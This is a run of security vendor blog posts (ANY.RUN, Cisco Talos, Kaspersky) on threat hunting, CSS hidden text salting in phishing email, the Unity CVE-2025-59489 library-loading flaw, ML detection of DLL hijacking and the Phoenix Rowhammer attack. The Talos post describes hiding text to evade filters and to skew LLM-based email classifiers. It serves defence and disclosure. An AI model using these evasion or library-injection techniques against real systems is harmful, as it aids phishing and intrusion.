Business Email Compromise (BEC) frauds continue to be one of the most lucrative threats. This query searches for PDF files containing the words “invoice” or “pagamento” (payment) in their name, an extremely common infection vector in BEC schemes. 

The malicious files are often hosted on Amazon S3 Buckets and named to appear legitimate. Exploring such attacks delivers file hashes to use as IOCs for detection.  
 
Actionable Intelligence: Organizations should implement email attachment verification and educate employees about fake invoice risks. The IOCs should be added to block lists, and monitoring downloads from unknown S3 buckets can be effective. 

Protect your business from attack exploiting human factor   



Request ANY.RUN’s Premium Plan for your SOC 


Case 5: Identifying Malicious Activity Hotspots with TLDs  

Query: domainName:”*.top” AND threatLevel:”malicious” 

Malicious domains and linked IOCs must be gathered for detection/response 

Certain Top-Level Domains (TLDs) are notoriously abused by cybercriminals due to low cost and loose regulation. The .top TLD is one of these. This query searches for all domains ending in .top that have been classified as malicious. 

Such domains, mostly generated by algorithms, support a thriving ecosystem for malicious activities. They are often used for delivering payload packed in WinRAR archives. Cloudflare services are engaged for concealing true server locations.  

Actionable Intelligence: Aware of extremely high malicious activity volume, many organizations block the .top TLD completely. The appearances of .top domains in network logs should be treated as high-priority events. 
 
Alltogether, these searches provide insight into the broader threat landscape and recent query patterns, showing the diversity of investigation approaches used in threat hunting. Threat intelligence lookups can be focused on a topical threat type (for example, phishing), legitimate tools abuse, registry modifications: queries can target both IOCs and behavioral patterns.  

Lessons Learned: Security Recommendations 

Here’s how SOC teams and threat hunters can perform an effective OSINT investigation. 

For Analysts 

  • Implement multi-parameter hunting queries combining JA3S fingerprints, destination geolocation, and Suricata classifications rather than relying solely on hash or domain lookups. 
  • Create detection rules for the identified JA3S hash and monitor for similar TLS fingerprinting patterns indicating Cobalt Strike or similar frameworks. 
  • Monitor for traffic to non-standard ports and HTTPS-based C2 activity; correlate with TI Lookup results for stronger detection. 
  • Integrate sandbox detonations into investigations to validate suspicious files, uncover hidden payloads, and gather fresh IOCs. 

 For SOC and MSSP Leaders 

  • Adopt proactive hunting playbooks that leverage behavior-based patterns (e.g., phishing, malicious PDFs, LOLBins) instead of relying solely on static IOCs. 
  • Automate ingestion of ANY.RUN TI Feeds and Lookup results into SIEM/SOAR platforms to strengthen correlation and reduce analyst workload. 
  • Establish rules and alerts around high-risk TLDs (.top, .shop, .cc) and cloud-hosted infrastructures commonly abused by attackers. 
  • Adopt a Zero Trust security model: The extensive abuse of trusted infrastructure (Microsoft, Google, Amazon domains) demonstrates that brand reputation no longer guarantees safety 

 For Business Decision Makers 

  • Support employee awareness campaigns, especially for financial teams, to counter phishing and BEC attempts. 
  • Recognize that cloud service abuse is now the norm in modern campaigns, so budgeting for advanced detection and monitoring is critical to maintaining resilience. 
  • Budget for cyber threat intelligence solutions that provide both sandboxing and lookup capabilities—the ROI comes from preventing successful breaches through proactive threat hunting rather than reactive incident response. 

Conclusion 

This investigation highlights how modern cyber threats are increasingly sophisticated, regionalized, and reliant on abusing legitimate infrastructure to evade detection. Static IOCs alone are insufficient for defense. Security teams must embrace behavior-based detection and proactive hunting strategies.  

ANY.RUN’s TI Lookup and Sandbox provide the intelligence depth and investigative flexibility needed to uncover hidden connections, expose attacker TTPs, and accelerate incident response. Organizations that combine advanced threat intelligence solutions with strong security culture and well-trained teams will be better positioned to withstand evolving threats and reduce the cost and impact of cyber incidents. 

About ANY.RUN  

Over 500,000 cybersecurity professionals and 15,000+ companies in finance, manufacturing, healthcare, and other sectors rely on ANY.RUN to streamline malware investigations worldwide.   

Speed up triage and response by detonating suspicious files in ANY.RUN’s Interactive Sandbox, observing malicious behavior in real time, and gathering insights for faster, more confident security decisions. Paired with Threat Intelligence Lookup and Threat Intelligence Feeds, it provides actionable data on cyberattacks to improve detection and deepen your understanding of evolving threats.   

Explore more ANY.RUN’s capabilities during 14-day trial→ 

The post Phishing, Cloud Abuse, and Evasion: Advanced OSINT Investigation with ANY.RUN Threat Intelligence  appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

Too salty to handle: Exposing cases of CSS abuse for hidden text salting

  • Cisco Talos has been closely monitoring the abuse of cascading style sheets (CSS) properties to include irrelevant content (or salt) in different parts of messages, a technique known as hidden text salting. 
  • This blog is a follow-up to our previous reports in January and March 2025 on CSS abuse in emails and shares highlights from a talk given at Blue Team Con 2025.
  • Talos explores why hidden text salting is used, where it typically appears in emails, the types of content and techniques involved, how common content concealment (including hidden text salting) is in both spam and legitimate messages, and the impact that hidden text salting has on email security solutions.
  • There is widespread use of hidden text salting in malicious emails to bypass detection. Attackers embed hidden salt in the preheader, header, attachments and body — using characters, paragraphs and comments — by manipulating text, visibility and sizing properties. Talos has observed that hidden content is far more often found in spam and other email threats than in legitimate emails, posing a substantial challenge to both basic and advanced email defense solutions that leverage machine learning.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting

In a legitimate context, cascading style sheets (CSS) are widely used to control the appearance and layout of content in emails. CSS allows for the styling of text, images and other elements in ways that enhance the visual appeal, readability and branding of the message.

However, Cisco Talos has observed a rise in the abuse of CSS by the addition of irrelevant content to different parts of emails – a technique known as hidden text salting – for a variety of purposes. In the following blog, we share key findings with the community. This analysis is the result of over one year (March 1, 2024 – July 31, 2025) of continuous monitoring of how adversaries employ this technique in their attacks.

Why do threat actors employ hidden text salting?

Talos has observed hidden text salting being used to evade detection directly and indirectly by influencing other components of the detection pipeline, such as email language detection.

The example in Figure 1 is a scam message that impersonates PayPal. In this case, some hidden text has been added to the email to evade detection.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 1. A scam email impersonating the PayPal brand.

When the HTML source of the above email is inspected, one can find the sentence “Great news, we’ve got your order,” which is hidden using different CSS properties.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 2. The HTML source snippet of the above scam email shows how salt is hidden in the above email.

When the “font-size” property of the above “div” (i.e., the container for hidden text) is increased from 1px to 20px, and the “line-height” is removed, the hidden text becomes visible in the top left corner.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 3. Revealing the hidden salt in the above scam email by changing the “font-size” and “line-height” properties.

Hidden text salting has also been used to confuse language detection procedures, thus evading possible spam filters that rely on such procedures. The example in Figure 4 shows a phishing email that impersonates the Harbor Freight brand. The language of this email is visibly English.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 4. A phishing email impersonating the Harbor Freight brand.

When the HTML source of the above email is inspected, several French words are found that are visually hidden. In this case, threat actors have used the “display” property of the “div” element to hide the French words, thus confusing the language detection module of Microsoft. The LANG field specifies the language in which the message was written, and the “X-Forefront-Antispam-Report” header contains information about the message and how it was processed. This header is added to each message by Exchange Online Protection (EOP), Microsoft’s cloud-based filtering service.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 5. The HTML source snippet of the above phishing email, with French characters that are hidden using the “display” property.

What are the most frequent parts of an email where hidden salt is added?

Cisco Talos has identified four main places where hidden salt is added in emails: the preheader, header, attachments and the email body.

The first two – and least common – places where salt has been added to email threats are the preheader and header. The preheader is a short text that appears after the subject line when an email is viewed in the inbox preview of most email clients. For example, Figure 6 displays a phishing email impersonating the Blue Cross Blue Shield organization.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 6. Phishing email impersonating the Blue Cross Blue Shield organization.

When the HTML source of the above email is examined, one can identify the phrase “FOUR yummy soup recipes just for you!” in the preheader of this message. Most email templates enable threat actors to add preheader text to their emails, which allows attackers to entice readers with additional information.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 7. HTML source snippet of the above phishing email, showing how salt is added to the pre-header text.

In this example, the attacker has set the CSS “opacity” property to zero, making the element fully transparent and invisible. Note that this preheader text is kept hidden by relying on multiple CSS properties, including “color,” “height,” “max-height,” and “max-width.” Additionally, the “mso-hide” property is set to all to make the preheader invisible in Outlook email clients.

A third place where hidden text has been added is in attachments. One of the most popular techniques is to introduce irrelevant characters into HTML attachments to hinder the static analysis of files. Figure 8 shows an example phishing email that was sent to a Cisco customer who employed Cisco Secure Email Threat Defense (ETD).

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 8. A spear phishing email with HTML attachment.

A snippet of the HTML attachment from the above email is shown in Figure 9, in which threat actors have inserted multiple irrelevant comments between the Base64-encoded characters to complicate the URL decoding process.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 9. HTML source snippet of the above phishing email, with irrelevant comments inserted between the Base64-encoded characters.

The fourth and most common place where threat actors add salt is the email body. Figure 10 shows a phishing email that impersonates the Wells Fargo brand.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 10. A phishing email impersonating the Wells Fargo brand.

A close inspection of the HTML source of the above email reveals how raw keywords are salted with hidden characters in multiple places within the body of the email to evade detection.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 11. HTML source snippet of the above phishing email, with irrelevant characters inserted between raw keywords that can be used for detection.

What are the most common types of content used as salt?

Cisco Talos has identified three types of content that are used as salt most frequently: characters, paragraphs and comments.

When characters are used as salt, they are most often created randomly and are inserted between keywords that may be used in signatures (as seen in Figures 11 and 12). This simple technique increases the success rate of email campaigns significantly. One method used very frequently is applying a fixed-length set of random characters between important keywords. The other method involves adding special characters, such as Zero-Width SPace (ZWSP) and Zero-Width Non-Joiner (ZWNJ), between the letters that attackers would think defense solutions may pivot on for their detection, such as brand names. The example in Figure 12 is a phishing email that impersonates the Norton LifeLock brand.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 12. Phishing email impersonating the Norton LifeLock brand.

The HTML source snippet of the above email shows how threat actors have added ZWSP and ZWNJ characters between the letters of Norton LifeLock to evade detection. Although these characters are not visible to the naked eye, they are still recognized as characters or strings of characters by most email parsers.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 13. HTML source snippet of the above phishing email, with ZWSP and ZWNJ characters inserted between the letters of the Norton LifeLock brand.

When paragraphs are used as hidden salt, they normally contain irrelevant sentences or information that is not related to the visible content of the message. The example in Figure 14 is a spear phishing email sent to a Cisco Secure ETD customer in February 2025. The HTML attachment of this message contains a series of German phrases that do not form coherent or grammatically correct sentences, and these are made invisible to the recipient via hidden text salting.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 14. A spear phishing email with HTML attachment.

The above email also contains the phrase “with regard” in two other languages, including Finnish and Estonian. The rendered HTML attachment is also shown in Figure 15. Note that the attacker tries to convince the recipient to click on the button and view the document by displaying a Microsoft SharePoint logo.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 15. Rendered HTML attachment of the above email.

When the HTML source of the attachment is inspected, one can see the CSS properties employed in various ways to conceal the irrelevant German paragraphs.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 16. HTML source snippet of the above spear phishing email’s attachment, showing how hidden text salting is used to add invisible, irrelevant German phrases to the body of the email.

Threat actors also frequently use comments as salt in emails. Particularly, they are often applied to HTML attachments to evade detection by static analysis of files. The example in Figure 17 is a spear phishing email sent to a Cisco Secure ETD customer in September 2024.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 17. Spear phishing email with HTML attachment.

The HTML source snippet of the attachment is shown in Figure 18. In this case, several irrelevant comments are added between strings and key identifiers in the JavaScript contained in the HTML attachment. This is a clear attempt to make static analysis of the attachment more difficult and evade detection.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 18. HTML source snippet.

The HTML source snippet of the above spear phishing email’s attachment shows how comments are added to JavaScript to complicate the static analysis of the HTML attachment.

What are the most common methods for hiding salt in emails?

Several ways exist to hide salt in emails, and attackers rely on various CSS properties to add irrelevant content to different parts of emails while making it visually invisible to recipients. In this section, we cover the most popular methods we’ve observed in the wild.

Cisco Talos has identified three major categories of properties that have been abused to hide added salt in emails most frequently: text properties, visibility and display properties, and clipping and sizing properties.

Text properties in CSS allow threat actors to change the characteristics of text, including font size, color, height and width. One simple technique Talos has observed is setting the “font-size” property to a very small number, if not zero, to make text almost invisible to the naked eye. Another common method is to make the font color match its background color.

Visibility and display properties help threat actors conceal content by changing the display properties of messages. One popular approach is to set the “opacity” property to zero, making the content transparent and invisible to the recipient. Another frequent method is to set the “display” property to “none,” which removes the element (e.g., text or image) from the email without affecting the layout. Alternatively, an element’s visibility is often turned off by setting the “visibility” property to “hidden.”

CSS properties can also be used to change the size of a container element. These elements (e.g., a text box) act as containers for other elements in emails. Additionally, CSS properties can be used to clip elements in emails (e.g., clipping text into a circle or rectangle). Threat actors abuse both of these properties to hide salt in emails. One popular method Talos has observed is setting the “width” property of the container element — the area that contains salt — to zero. Another method is to force the added salt to overflow the container element (e.g., by placing large text into a circle with radius zero) and then leverage CSS properties to control the behavior when content extends beyond the container’s boundaries. For example, in one campaign, the added salt was made invisible by clipping it in a tiny rectangle and setting the “overflow” property to “hidden.”

How prevalent is content concealment in spam and ham messages?

Talos has observed that content concealment using CSS properties occurs much more frequently in spam messages and email threats than in legitimate emails (ham). Talos selected a few simple CSS properties that can be used to hide the added salt, including “font-size: 0,” “opacity: 0,” “display: none,” “max-width: 0,” “max-height: 0,” “color: transparent,” “visibility: hidden,” “width: 0” or “height: 0.” We then searched for these indicators in emails reclassified by Cisco Secure ETD customers. Figure 19 demonstrates the distribution of spam (including phishing and other types of email threats) and ham messages that contained any of these CSS properties between July 30 and September 1, 2025 (approximately 1 month).

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 19. The prevalence of hidden content in spam and ham messages.

Note that the above plot also includes cases where CSS properties are used to hide tracking pixels or images — a technique most often used in legitimate messages as well, such as those sent in marketing campaigns. Also, note that the use of CSS properties like the ones we discussed in the previous section are not limited to hiding content, and are sometimes used in ham emails to achieve a responsive email design. In this case, emails contain multiple layouts, and the appropriate one is displayed to recipients based on their device or screen size (see the example shown below). This indicates that the abuse of CSS properties to introduce irrelevant text (or salt) to emails is very frequently, if not always, observed in spam messages rather than in ham messages.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 20. HTML source example snippet, showing how CSS properties can be used to hide content in a legitimate context for responsive email design.

What is the potential impact of hidden text salting on email threat defense solutions?

The impact of hidden text salting on email defense solutions is underexplored. This section considers the potential impact of this technique on simple and advanced defense solutions, using real-world examples.

Let’s assume a threat model where adversaries have no prior knowledge about the features that are used by email defense solutions to detect different types of threats. Their goal is to target one or more employees who are working for an organization of interest and whose mailboxes are protected using a particular email defense solution.

Threat actors may guess that one or more of the features used to differentiate email threats from legitimate messages are derived from keywords extracted by directly parsing the HTML source of emails. Therefore, they may decide to add some irrelevant content to the body of messages to evade detection. The example below shows a spear phishing email that impersonates the CapitalOne brand and was sent to a target individual in January 2025. As is clear, some salt has been added to this message and has been made invisible using CSS properties in an effort to bypass detection.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 21. A spear phishing email impersonating the CapitalOne brand.

Threat actors may guess that HTML tags have also been used as extra features in the detection pipeline in addition to keywords, and thus, they may decide to add a large number of HTML tags to bypass detection. The example below shows a scam message that impersonates the Costco Wholesale brand.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 22. A scam email impersonating Costco.

When the HTML source of the above email is inspected, several unnecessary HTML tags can be found in the body of the email that are made invisible and do not change the layout and appearance of the email.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 23. HTML source snippet of the scam Costco email, showing how invisible junk HTML tags have been added to this email without changing its layout.

In addition to features derived from keywords and the HTML source of emails, an attacker may assume that the email defense solution relies on large language models (LLMs) to extract features from emails and create a final verdict based on them. Specifically, let’s assume attackers guess that the intent and sentiment of emails are two fundamental features inferred from messages using LLMs and subsequently used in detection. The example in Figure 24 shows a phishing example that impersonates the Outlook brand and leverages hidden text salting using CSS properties to evade detection.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 24. Phishing email impersonating the Outlook brand.

When examining the HTML source snippet, one notices the “Password Expiry Notice” phrase and other keywords are salted using random characters. This has been achieved using a selector, called “bdo,” defined at the beginning of the HTML document. In this selector, the “font-size” property is set to zero, which effectively hides the text by making it invisible. This selector is then applied to multiple elements throughout this HTML document.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 25. HTML source snippet of the above phishing email, showing how keywords are salted with random characters using a selector and by abusing CSS properties.

If a small LLM model, such as GPT-4o mini, was used to determine the intent of the above message by passing the whole HTML source, the returned value would be “neutral.” From an adversarial perspective, a very small salt that is made invisible using the same selector (see the below source snippet) we saw earlier is sufficient to change the verdict of this email from “neutral” to “positive,” thereby evading detection, as shown in Figure 26.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 26. HTML source snippet of the above phishing email, showing how threat actors can include hidden salt in the body of an email to impact LLM-based intent analysis.

Now, if the HTML source of the original phishing message in Figures 24 and 25 is passed to the same model, the returned sentiment would be “Request Action,” which aligns with what the recipient observes (i.e., a request for them to retain their login password). The same technique can be leveraged by attackers to include hidden salt in the body of the above email and to change the sentiment of this message from “Request Action” to “Schedule Meeting”, as shown below.

Too salty to handle: Exposing cases of CSS abuse for hidden text salting
Figure 27. HTML source snippet of the above phishing email, showing how threat actors can include hidden salt in the body of an email to impact LLM-based sentiment analysis.

These cases are just two simple examples that show how adversaries could use hidden text salting to impact more advanced email threat detection solutions if these adversarial techniques are not well-known and new tools like LLMs are employed for defense carelessly.

Mitigations and protection

As explained with multiple examples, CSS provides a wide range of properties that can be abused by attackers to evade spam filters and detection engines. Therefore, two possible countermeasures are: first, to detect the presence of hidden text (or salt) in emails, and more importantly, to filter out the added salt before passing the message to downstream detection engines.

In what follows, we provide a few mitigation solutions for each domain.

Detection: One security mitigation solution is to rely on advanced filtering mechanisms that can more effectively detect hidden text salting and content concealment. These systems can examine different parts of emails to find and filter out hidden content. Alternatively, relying on features in addition to the text domain, such as the visual characteristics of emails, may also be helpful. This approach is particularly beneficial against image-based threats.

Filtering: With respect to discarding irrelevant content (or salt) that has been added to emails, at least two options are available. The first option is to perform HTML sanitization at ingestion in order to strip or escape invisible text before it reaches downstream detection engines. The second option is to deploy a filter (e.g., a prompt guard) in an email gateway or proxy to ignore any content that is visually hidden or styled to be invisible.

Safeguarding against these complex threats necessitates a comprehensive email security solution that utilizes AI-driven detection. Secure Email Threat Defense employs distinctive deep learning and machine learning models, incorporating Natural Language Processing, within its sophisticated threat detection systems.

Secure Email Threat Defense detects harmful techniques employed in attacks against your organization, extracts unmatched context for particular business risks, offers searchable threat data, and classifies threats to identify which sectors of your organization are most at risk of attack.

Begin strengthening your environment against sophisticated threats. Register now for a free trial of Email Threat Defense.

Takeaways

Talos has observed hidden text salting being used either to evade detection directly or indirectly by influencing other components of the detection pipeline, such as email language detection, which may exist and impact downstream engines. We have identified four main places where hidden salt is added in emails: the preheader, header, attachments, and the email body. Talos has identified three types of content that are most frequently used as salt: characters, paragraphs, and comments. We have also identified three major categories of properties that have been abused to hide the added salt in emails: text properties, visibility and display properties, and clipping and sizing properties. This technique is significantly more prevalent in spam messages and email threats compared to legitimate emails and can have a significant impact on both simple and advanced email threat defense solutions if appropriate countermeasures are not employed.

Cisco Talos Blog – ​Read More

The CVE-2025-59489 vulnerability in Unity, and how to fix it in games | Kaspersky official blog

In early October, Unity announced that game developers have a lot of work to do. The popular game engine, used for PC, console and mobile games, has a software vulnerability in it that requires all published games to be updated. The vulnerability was added eight years ago, in engine version 2017.01, so it affects all modern Unity games and applications on Android, Linux, MacOS, and Windows platforms.

It wasn’t only developers who reacted to the announcement. Valve announced that it would block Steam from launching games with unsafe settings, and Microsoft went further and recommended temporarily uninstalling vulnerable games until they can be patched.

So what is the threat from this vulnerability, and how to fix it without uninstalling games?

How the Unity vulnerability works

Exploitation of the CVE-2025-59489 vulnerability can cause a game to run malicious code, or give an attacker access to information on the given device. An attacker can pass startup parameters to the game, and vulnerable versions of Unity Runtime will process several commands intended for debugging: -xrsdk-pre-init-library, – dataFolder , overrideMonoSearchPath, and -monoProfiler, among others. With these commands, the Unity engine loads any libraries specified in the startup parameters – including malicious ones. It can load .dll files on Windows, .so libraries on Android and Linux, and .dylib libraries on macOS.

This way, a malicious application with low privileges can launch a game with modified startup parameters, and make it download and run the malicious library. Thus it will have the same privileges and access as the game itself.

Another type of attack that can exploit this vulnerability can be carried out remotely. If a game can be launched by clicking on certain hyperlinks in the browser (the game must be registered as a URI schema handler), the malicious site can first convince the user to download the malicious library file, and then launch the vulnerable game along with this library.

The danger of exploitation of this vulnerability depends largely on the game’s settings, version and OS settings, but Unity, Valve and Microsoft unanimously recommend updating all games on the system.

What’s the danger of a vulnerability in a game?

Exploitation of this vulnerability serves to escalate privileges and bypass defenses. An unknown application in modern operating systems is usually isolated from others and deprived of access to sensitive information. But it can still launch already installed applications. So when the game is launched with parameters crafted by an attacker, it loads a malicious library, and this library is considered by the system and its defense mechanisms to be part of the game. It has the same rights and access as the game itself, and can also slip under the radar of some antiviruses. Games sometimes require relatively high privileges in the system, so this is a way for an attacker to become, if not the administrator of the device, at least a “respected user”.

Is this vulnerability being exploited in real-world attacks?

Unity emphasizes that the flaw was discovered by ethical hackers and there is no evidence to date that the vulnerability is being used in real attacks. But given the widespread publicity of the issue and the ease of exploitation, any willing attacker could arm themselves with CVE-2025-59489 in just a couple of days. So taking precautionary measures won’t be unreasonable.

How to fix the vulnerability

The main work should be done by game developers. Having updated Unity Editor, they should recompile the game with the patched version of Unity Runtime, and publish it on the website or in app stores. Users need to keep track of updates to their Unity-based games, and update them promptly.

Valve has updated the Steam client and fixed this issue for those games that run via the client. Now it blocks the launch of games with the aforementioned dangerous parameters.

Microsoft has confirmed that the vulnerability doesn’t affect Xbox versions of games, but provides an extensive list of vulnerable games available in its app stores for other platforms. Until the vulnerabilities in the specified games are fixed, Microsoft recommends uninstalling them.

In addition to updating your games, be sure your computers and smartphones are protected by a comprehensive cyberthreat prevention system such as Kaspersky Premium. It not only prevents many vulnerabilities from being exploited, but also prevents first-stage malware from running.

How to fix a vulnerability if the game is no longer updated

For developers who don’t have access to the Unity editor or don’t support the game anymore, Unity offers the Unity Application Patcher app. It detects which version of Unity the game is using, and downloads an updated library (libunity.so for Android, UnityPlayer.dll for Windows, UnityPlayer.dylib for macOS), fixing the flaw. The patched game still needs to be republished on the website or app stores.

For gamers, only the Windows version of the patcher will be useful, since it’s very problematic to change the game component for MacOS or Android while keeping the game functional.

Kaspersky official blog – ​Read More

Detecting DLL hijacking with ML | Kaspersky official blog

To evade detection by security solutions, cybercriminals employ various techniques that mask their malicious activity. One of the methods increasingly seen in recent years in attacks on Windows systems is DLL hijacking: replacing dynamic-link libraries (DLLs) with malicious ones. And traditional security tools often don’t detect use of this technique. To solve this problem, our colleagues from the Kaspersky AI Technology Research Center developed a machine-learning model that can detect DLL hijacking with high accuracy. This model has already been implemented in the latest release of our SIEM system, the Kaspersky Unified Monitoring and Analysis Platform . In this post, we explain the challenges of detecting DLL hijacking, and how our technology addresses them.

How DLL hijacking works and why it’s hard to detect

The sudden launch of an unknown file in a Windows environment inevitably draws the attention of security tools — or is simply blocked. Essentially, DLL hijacking is an attempt to pass off a malicious file as a known and trusted one. There are several variations of DLL hijacking: one is when attackers distribute a malicious library along with legitimate software (DLL sideloading) so that the software executes it; another is when they replace standard DLLs that are called by already-installed programs on the computer; and there’s also when they manipulate system mechanisms that determine the location of the library that a process loads and executes. As a result, the malicious DLL file is launched by a legitimate process within its own address space and with its own privileges; thus the usual endpoint protection systems view this activity as looking legitimate. That’s why our experts decided to counter this threat with the use of AI technologies.

Detecting DLL hijacking with ML

AI Technology Research Center experts trained an ML model to detect DLL hijacking based on indirect information about the library and the process that called it. They identified key indicators of an attempt to manipulate a library: whether the executable file and the library are located in standard paths, whether the file was renamed, whether the library’s size and structure have changed, whether its digital signature is intact, and so on. They initially trained the model on data about dynamic link libraries’ being loaded — sourced from both internal automatic analysis systems and anonymized telemetry from the Kaspersky Security Network (KSN) voluntarily provided by our users. For labeling, our experts used data from our file reputation databases.

The first model was rather inaccurate, so before adding it to the solution our experts experimented through multiple iterations, refining both the labeling of the training dataset and the features that indicate DLL hijacking. As a result, the model now detects this technique with high accuracy. On Securelist, our colleagues published a detailed article about how they developed this technology — from the initial hypothesis, through testing in Kaspersky Managed Detection and Response, and finally to the practical application in our SIEM platform.

DLL hijacking detection in Kaspersky SIEM

In the SIEM system, the model analyzes the metadata of loaded DLLs and processes that called them from the telemetry, flags suspicious cases, and then cross-checks its verdict against KSN cloud data. This not only improves the accuracy of DLL hijacking detection, but also reduces false positives. The model can operate in both the correlation subsystem and the event collection subsystem.

In the first case, it checks only the events that have already triggered correlation rules. This allows for a more precise threat assessment and faster alert generation if needed. Since not all events are checked, the volume of cloud queries doesn’t significantly impact the model’s response speed.

In the second case, the model processes all library loading events that meet certain conditions. This method consumes more resources but is invaluable for retrospective threat hunting.

In another Securelist blog post, colleagues from the Anti-Malware Research group described in detail how the DLL hijacking detection model helps Kaspersky SIEM catch targeted attacks, with real examples of early incident detection.

Most importantly, the model’s accuracy will only continue to improve as more data on threats and legitimate processes accumulates and KSN algorithms evolve.

Kaspersky official blog – ​Read More

Phoenix: Rowhammer that works on DDR5 | Kaspersky official blog

In September 2025, researchers at ETH Zurich (the Swiss Federal Institute of Technology) published a paper introducing Phoenix, a modification of the Rowhammer attack that works on DDR5 memory modules. The authors not only demonstrated the new attack’s effectiveness against 15 tested modules, but also proposed three practical use cases: reading and writing data from memory, stealing a private encryption key stored in memory, and bypassing Linux’s sudo utility protections to escalate privileges.

The Rowhammer attack: a brief history

To understand this rather complex study, we need to first briefly revisit the history of Rowhammer. The Rowhammer attack was first described in a 2014 research paper. Back then, researchers from both Carnegie Mellon University and Intel showed how repeatedly accessing rows of memory cells could cause adjacent memory cells to change value. These neighboring cells could contain critical data — the alteration of which could have serious consequences (such as privilege escalation).

This happens because each cell in a memory chip is essentially a capacitor: a simple component that can hold an electrical charge for only a short time. That’s why such memory is volatile: turn off the computer or server, and the data disappears. For the same reason the charge in cells must be frequently refreshed — even if no one is accessing that memory region.

Memory cells aren’t isolated; they’re organized in rows and columns, interconnected in ways that can cause interference. Accessing one row can affect a neighboring row; for example, refreshing one row can corrupt data in another. For years, this effect was only known to memory manufacturers — who tried their best to mitigate it in order to improve reliability. But as cells became smaller and therefore packed more tightly together, the “row hammering” effect became exploitable in real-world attacks.

After the Rowhammer attack was demonstrated, memory developers began to introduce defenses, resulting in Target Row Refresh (TRR) hardware technology. In theory, TRR is simple: it monitors aggressive access to rows and, if detected, forcibly refreshes adjacent rows. In practice, it wasn’t so effective. In 2021, researchers described the Blacksmith attack, which bypassed TRR by using more sophisticated memory-cell access patterns.

Developers adapted again — adding even more advanced defenses against Rowhammer-like attacks in DDR5 modules and increasing the enforced refresh rate. To further impede new attacks, manufacturers avoided disclosing which countermeasures were in place. This led many to believe that DDR5 had effectively solved the Rowhammer problem. However, just last year, researchers from the same ETH Zurich managed to successfully attack DDR5 modules — albeit under certain conditions: the memory had to be paired with AMD Zen 2 or Zen 3 CPUs, and, even then, some modules remained unaffected.

Features of the new attack

To develop Phoenix, the researchers reverse-engineered the TRR mechanism. They analyzed its behavior under various memory row access patterns and checked whether the protection triggered for adjacent rows. It turned out that TRR has become significantly more complex, and previously known access patterns no longer work — the protection now correctly flags those patterns as potentially dangerous and forcibly refreshes adjacent rows. As a result, the researchers discovered that after 128 TRR-tracked memory accesses, a “window of opportunity” of 64 accesses appears, during which defenses are weaker. It’s not that the protection system completely fails, but its responses are insufficient to prevent a value change in a targeted memory cell. The second window presents itself after accessing memory cells over the course of 2608 refresh intervals.

The researchers then studied these vulnerable points in detail to deliver a highly targeted strike on memory cells while knocking out the defenses. Put simply, the attack works like this: malicious code performs a series of dummy accesses that effectively lull the TRR mechanism into a false sense of security. Then the active phase of the attack occurs, which ultimately modifies the target cell value. As a result, the team confirmed that the attack reliably worked against all 15 tested DDR5 modules manufactured by SK Hynix, one of the market leaders.

Three real-world attack scenarios

A realistic attack must change a value in a precisely defined memory region — a difficult task. Firstly, an attacker needs detailed knowledge of the target software. They must bypass multiple conventional security controls, and missing the target by just one or two bits can result in a system crash instead of a successful hack.

The Swiss researchers set out to prove that Phoenix could be used to cause real-world damage. They evaluated three attack scenarios. The first (PTE) involved accessing the page table to create conditions for arbitrary reading/writing of RAM data. The second (RSA) aimed to steal an RSA-2048 private encryption key from memory. The third (sudo) involved bypassing the protections of the standard Linux sudo utility with the aim of privilege escalation. The study’s final results are shown in this table:

[phoenix-rowhammer-attack-results.jpg]

Phoenix attack effectiveness.

Phoenix attack effectiveness. Source

For some modules, the first attack variant (128 refresh intervals) was effective, while for others only the second (2608 intervals) method worked. In some experiments the RSA key theft and sudo exploits didn’t succeed. However, a method for arbitrary memory read/write was found for all modules, and the exploitation time was relatively short for this class of attacks — from about five seconds up to seven minutes. That’s enough to demonstrate that Rowhammer attacks pose a real risk, albeit in a highly constrained set of scenarios.

Relevance and countermeasures

The Phoenix attack shows that Rowhammer-style attacks can be carried out against DDR5 modules just as effectively as on DDR4 and DDR3. Though modules from a just single vendor were tested and the researchers uncovered a fairly simple weakness in that vendor’s TRR algorithm that will most likely be easy to fix, this is a significant step forward in the security research of memory modules.

The authors proposed several countermeasures against Rowhammer-type attacks. First, reducing the enforced refresh interval across all cells can significantly impede the attack. This may increase power consumption and chip temperature, but it’s a straightforward solution. Second, memory with an error correction code (ECC) can be used. This complicates Rowhammer attacks, although — somewhat paradoxically — it doesn’t make them completely impossible.

Beyond these obvious measures, the authors mention two more. The first is the Fine Granularity Refresh protection method, which is already being implemented. Built into the processor’s memory controller, it modifies memory-cell refresh behavior in order to resist Rowhammer attacks. As for the second, the researchers urge memory-module and chip developers to stop relying on proprietary security measures (“security through obscurity”). Instead, they recommend adopting an approach common in cryptography — where security algorithms are publicly available and subject to independent testing.

Kaspersky official blog – ​Read More

